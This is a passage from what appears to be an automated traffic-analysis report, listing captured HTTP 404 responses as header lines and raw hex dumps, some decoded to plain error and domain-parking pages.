Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:35:12 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 16026X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 74 77 69 74 74 65 72 2d 62 6f 6f 74 73 74 72 61 70 2f 34 2e 31 2e 33 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 61 6d 62 75 72 67 65 72 2d 6d 65 6e 75 22 3e 0a 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 75 72 67 65 72 22 20 64 61 74 61 2d 73 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 6d 61 69 6e 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 20 61 6c 69 67 6e 2d 73 65 6c 66 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 30 30 20 36 30 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 6c 69 70 50 61 74 68 20 69 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:35:15 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 16026X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 74 77 69 74 74 65 72 2d 62 6f 6f 74 73 74 72 61 70 2f 34 2e 31 2e 33 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 27 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 61 6d 62 75 72 67 65 72 2d 6d 65 6e 75 22 3e 0a 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 62 75 72 67 65 72 22 20 64 61 74 61 2d 73 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 0a 20 20 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 6d 61 69 6e 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 6d 64 2d 36 20 61 6c 69 67 6e 2d 73 65 6c 66 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 38 30 30 20 36 30 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 63 6c 69 70 50 61
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:36:45 GMTContent-Type: text/htmlContent-Length: 634Connection: closeServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 70 61 67 65 3d 22 34 30 34 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 68 31 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 68 31 3e 3c 70 3e d0 92 d0 be d0 b7 d0 bc d0 be d0 b6 d0 bd d0 be 2c 20 d0 b2 d1 8b 20 d0 be d1 88 d0 b8 d0 b1 d0 bb d0 b8 d1 81 d1 8c 20 d0 bf d1 80 d0 b8 20 d0 bd d0 b0 d0 b1 d0 be d1 80 d0 b5 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d0 b0 2c 20 d0 b8 d0 bb d0 b8 20 d1 81 d1 81 d1 8b d0 bb d0 ba d0 b0 2c 20 d0 bf d0 be 20 d0 ba d0 be d1 82 d0 be d1 80 d0 be d0 b9 20 d0 b2 d1 8b 20 d0 bf d1 80 d0 be d1 88 d0 bb d0 b8 2c 20 d1 83 d1 81 d1 82 d0 b0 d1 80 d0 b5 d0 bb d0 b0 2e 3c 2f 70 3e 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6a 69 6e 6f 2e 72 75 22 3e d0 94 d0 b6 d0 b8 d0 bd d0 be 3c 2f 61 3e 3c 2f 70 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 64 69 76 20 69 64 3d 22 72 6f 6f 74 22 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 70 61 72 6b 69 6e 67 2d 73 74 61 74 69 63 2e 6a 69 6e 6f 2e 72 75 2f 73 74 61 74 69 63 2f 6d 61 69 6e 2e 6a 73 3f 31 2e 32 35 2e 32 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html data-page="404"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title> 404. </title></head><body><noscript><h1> 404. </h1><p>, , , , .</p><p><a href="https://jino.ru"></a></p></noscript><div id="root"></div><script src="//parking-static.jino.ru/static/main.js?1.25.2" charset="utf-8"></script></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:36:47 GMTContent-Type: text/htmlContent-Length: 634Connection: closeServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 70 61 67 65 3d 22 34 30 34 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 68 31 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 68 31 3e 3c 70 3e d0 92 d0 be d0 b7 d0 bc d0 be d0 b6 d0 bd d0 be 2c 20 d0 b2 d1 8b 20 d0 be d1 88 d0 b8 d0 b1 d0 bb d0 b8 d1 81 d1 8c 20 d0 bf d1 80 d0 b8 20 d0 bd d0 b0 d0 b1 d0 be d1 80 d0 b5 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d0 b0 2c 20 d0 b8 d0 bb d0 b8 20 d1 81 d1 81 d1 8b d0 bb d0 ba d0 b0 2c 20 d0 bf d0 be 20 d0 ba d0 be d1 82 d0 be d1 80 d0 be d0 b9 20 d0 b2 d1 8b 20 d0 bf d1 80 d0 be d1 88 d0 bb d0 b8 2c 20 d1 83 d1 81 d1 82 d0 b0 d1 80 d0 b5 d0 bb d0 b0 2e 3c 2f 70 3e 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6a 69 6e 6f 2e 72 75 22 3e d0 94 d0 b6 d0 b8 d0 bd d0 be 3c 2f 61 3e 3c 2f 70 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 64 69 76 20 69 64 3d 22 72 6f 6f 74 22 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 70 61 72 6b 69 6e 67 2d 73 74 61 74 69 63 2e 6a 69 6e 6f 2e 72 75 2f 73 74 61 74 69 63 2f 6d 61 69 6e 2e 6a 73 3f 31 2e 32 35 2e 32 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html data-page="404"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title> 404. </title></head><body><noscript><h1> 404. </h1><p>, , , , .</p><p><a href="https://jino.ru"></a></p></noscript><div id="root"></div><script src="//parking-static.jino.ru/static/main.js?1.25.2" charset="utf-8"></script></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:36:50 GMTContent-Type: text/htmlContent-Length: 634Connection: closeServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 70 61 67 65 3d 22 34 30 34 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 68 31 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 68 31 3e 3c 70 3e d0 92 d0 be d0 b7 d0 bc d0 be d0 b6 d0 bd d0 be 2c 20 d0 b2 d1 8b 20 d0 be d1 88 d0 b8 d0 b1 d0 bb d0 b8 d1 81 d1 8c 20 d0 bf d1 80 d0 b8 20 d0 bd d0 b0 d0 b1 d0 be d1 80 d0 b5 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d0 b0 2c 20 d0 b8 d0 bb d0 b8 20 d1 81 d1 81 d1 8b d0 bb d0 ba d0 b0 2c 20 d0 bf d0 be 20 d0 ba d0 be d1 82 d0 be d1 80 d0 be d0 b9 20 d0 b2 d1 8b 20 d0 bf d1 80 d0 be d1 88 d0 bb d0 b8 2c 20 d1 83 d1 81 d1 82 d0 b0 d1 80 d0 b5 d0 bb d0 b0 2e 3c 2f 70 3e 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6a 69 6e 6f 2e 72 75 22 3e d0 94 d0 b6 d0 b8 d0 bd d0 be 3c 2f 61 3e 3c 2f 70 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 64 69 76 20 69 64 3d 22 72 6f 6f 74 22 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 70 61 72 6b 69 6e 67 2d 73 74 61 74 69 63 2e 6a 69 6e 6f 2e 72 75 2f 73 74 61 74 69 63 2f 6d 61 69 6e 2e 6a 73 3f 31 2e 32 35 2e 32 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html data-page="404"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title> 404. </title></head><body><noscript><h1> 404. </h1><p>, , , , .</p><p><a href="https://jino.ru"></a></p></noscript><div id="root"></div><script src="//parking-static.jino.ru/static/main.js?1.25.2" charset="utf-8"></script></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:36:52 GMTContent-Type: text/htmlContent-Length: 634Connection: closeServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 70 61 67 65 3d 22 34 30 34 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 68 31 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 2e 20 d0 a4 d0 b0 d0 b9 d0 bb 20 d0 bd d0 b5 20 d0 bd d0 b0 d0 b9 d0 b4 d0 b5 d0 bd 3c 2f 68 31 3e 3c 70 3e d0 92 d0 be d0 b7 d0 bc d0 be d0 b6 d0 bd d0 be 2c 20 d0 b2 d1 8b 20 d0 be d1 88 d0 b8 d0 b1 d0 bb d0 b8 d1 81 d1 8c 20 d0 bf d1 80 d0 b8 20 d0 bd d0 b0 d0 b1 d0 be d1 80 d0 b5 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d0 b0 2c 20 d0 b8 d0 bb d0 b8 20 d1 81 d1 81 d1 8b d0 bb d0 ba d0 b0 2c 20 d0 bf d0 be 20 d0 ba d0 be d1 82 d0 be d1 80 d0 be d0 b9 20 d0 b2 d1 8b 20 d0 bf d1 80 d0 be d1 88 d0 bb d0 b8 2c 20 d1 83 d1 81 d1 82 d0 b0 d1 80 d0 b5 d0 bb d0 b0 2e 3c 2f 70 3e 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6a 69 6e 6f 2e 72 75 22 3e d0 94 d0 b6 d0 b8 d0 bd d0 be 3c 2f 61 3e 3c 2f 70 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 64 69 76 20 69 64 3d 22 72 6f 6f 74 22 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 70 61 72 6b 69 6e 67 2d 73 74 61 74 69 63 2e 6a 69 6e 6f 2e 72 75 2f 73 74 61 74 69 63 2f 6d 61 69 6e 2e 6a 73 3f 31 2e 32 35 2e 32 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html data-page="404"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title> 404. </title></head><body><noscript><h1> 404. </h1><p>, , , , .</p><p><a href="https://jino.ru"></a></p></noscript><div id="root"></div><script src="//parking-static.jino.ru/static/main.js?1.25.2" charset="utf-8"></script></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 13:36:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 65 33 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6d 6f db d6 15 fe 9e 5f 71 a3 01 96 94 88 64 9c b4 43 12 4b 72 d3 a4 db 97 b4 1d e0 74 c3 e0 a6 c2 15 75 2d b1 a2 48 8d a4 ec a8 49 80 36 e9 2b 1a 34 68 57 60 43 b1 f7 61 d8 a7 01 89 13 af 6e 5e 9c bf 40 fe a3 3d e7 5c 92 a2 64 c9 71 d2 b4 ab 01 db d2 7d 3d f7 9c e7 3c e7 dc 97 fa d1 8e 6f 47 e3 a1 12 bd 68 e0 36 eb f4 57 d8 ae 0c c3 46 c9 09 5b b2 23 87 91 b3 a9 4a c2 95 5e b7 51 0a 46 25 b4 51 b2 d3 ac 0f 54 24 85 dd 93 41 a8 a2 46 e9 ad 4b bf 30 4e a3 8e 4b 3d 39 50 8d d2 50 06 7d c7 eb 96 84 ed 7b 91 f2 d0 28 50 dd 60 64 04 18 73 ba e5 a6 a3 b6 86 7e 10 15 9a 6e 39 9d a8 d7 e8 a8 4d c7 56 06 7f a9 39 9e 13 39 d2 35 42 5b ba aa b1 8c 21 22 27 72 55 73 6b 6b cb 8c fc 40 5d 39 75 ca f4 3d d7 f1 54 dd d2 35 75 7c e9 8b 40 b9 8d 52 18 8d 5d 15 f6 94 c2 24 03 d5 71 64 a3 24 5d b7 24 7a 81 da c8 45 65 d1 0c 39 8a 7c d3 0e 43 4c 30 e9 ef 60 11 59 eb 0d 09 a9 7c cf c4 9f d5 e5 92 20 ed 41 59 03 d9 55 d6 15 83 1b 36 eb a1 1d 38 c3 a8 69 1d ab 1f 5d 3f 7f e1 dc a5 73 eb c7 ac 23 5b 8e d7 f1 21 6c 20 ed fe 1a 37 b8 e8 cb 8e 68 88 8d 91 67 47 8e ef 55 aa 57 af af 1c b1 8e 5d be dc 3c 66 d5 ad 74 90 74 30 81 c5 a1 79 a3 34 7f 98 4a d9 1a 48 cf d9 50 61 64 be 1b 96 ab 25 b4 57 41 e0 07 87 ec 50 13 cb e8 13 06 76 a3 54 1c 08 36 c9 6c 3c 8a 36 d8 c6 cf 2c 17 01 06 66 23 8d 84 87 96 6d b6 53 51 be 99 ba 83 64 b4 34 5a db 7e 67 9c e1 ba 6d 0c 61 2b a1 ff b5 c8 7c ad 14 ab 5c c6 a8 9d 7c 6a b5 bb 2d d7 e9 f6 22 e0 81 c6 52 41 71 1c 6e dc 6a a5 15 34 e4 54 89 1e 3d 45 7c c7 d9 5c d8 d5 f0 fc 88 44 8a d4 15 4c 14 7f 1d ef c5 8f e2 9d f8 b1 88 bf 8d ef 24 ef e3 e3 bd 78 37 f9 20 b9 81 cf bb f8 dd 8b b7 e3 3b 54 bd bd e4 b5 c3 e1 4a 1d be a8 bd b6 6d 10 6a 33 ac f6 a2 68 18 9e b5 2c b8 9e 09 e7 d5 ce e0 f9 1b be eb fa 5b c2 f3 fd a1 02 4a f0 01 7e 00 b4 a8 00 78 96 41 97 5c ba d5 86 cf f7 21 cc df 68 76 33 79 3f b9 59 b7 64 b3 6e 61 1d cd fa cc 62 ba aa d5 4a fd dc d8 0a e4 70 88 41 53 05 cf 96 b7 d8 17 5b f0 05 90 c2 c2 46 6c 96 9e 1f 46 a0 10 23 8c 64 e4 d8 30 c0 cc ac 53 ba 36 d2 f9 c9 4e cb 13 6d cc 58 c4 60 6a 28 cd 65 8d de 72 b3 3e 5c dc b3 a3 34 86 e1 a8 cf 6e a9 7a 3b 68 c6 bb da 58 f1 13 b2 62 fc 84 2d fb 60 9f 2d a7 14 3e 5c b4 e8 f6 28 8a 7c 2f cc b4 8d 55 17 20 a0 2b 21 a5 fe 00 13 b8 7e d0 62 1b 2b cf 26 a0 a5 15 a1 f3 9e 6a c1 fa 03 e9 b2 29 52 8d e6 fd 73 ed a5 ed d9 2c e0 e3 c2 10 43 d9 e9 c0 48 2d 97 70 33 8b 3b 22 67 8d 3d 6b ab e7 3b a1 b5 6a f7 94 dd 6f 2c 75 38 48 ec e7 ee 25 39 18 ae a0 47 2b f4 47 81 ad 1a 99 00 c4 ca a5 e6 6f 68 0c 42 a1 28 ae 96 9c a6 28 3d d3 76 c1 17 0f 5e 4d c7 1f 48 27 27 f7 cc 61 0a 82 eb 06 96 a7 b6 ac d5 51 34 c8 24 9b 23 3b d5 52 74 19 0d 32 b9 97 a8 c8 c6 9a a4 d3 f5 1a 21 94 e4 75 5a 18 e9 e0 65 c6 ff 00 28 fe 1b ef 88 e4 a3 78 2f f9 24 b9 29 e2 fb 19 23 1c 2d 38 61 38 94 de 1c bc 0e 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 08 Oct 2024 13:37:01 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 65 33 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6d 6f db d6 15 fe 9e 5f 71 a3 01 96 94 88 64 9c b4 43 12 4b 72 d3 a4 db 97 b4 1d e0 74 c3 e0 a6 c2 15 75 2d b1 a2 48 8d a4 ec a8 49 80 36 e9 2b 1a 34 68 57 60 43 b1 f7 61 d8 a7 01 89 13 af 6e 5e 9c bf 40 fe a3 3d e7 5c 92 a2 64 c9 71 d2 b4 ab 01 db d2 7d 3d f7 9c e7 3c e7 dc 97 fa d1 8e 6f 47 e3 a1 12 bd 68 e0 36 eb f4 57 d8 ae 0c c3 46 c9 09 5b b2 23 87 91 b3 a9 4a c2 95 5e b7 51 0a 46 25 b4 51 b2 d3 ac 0f 54 24 85 dd 93 41 a8 a2 46 e9 ad 4b bf 30 4e a3 8e 4b 3d 39 50 8d d2 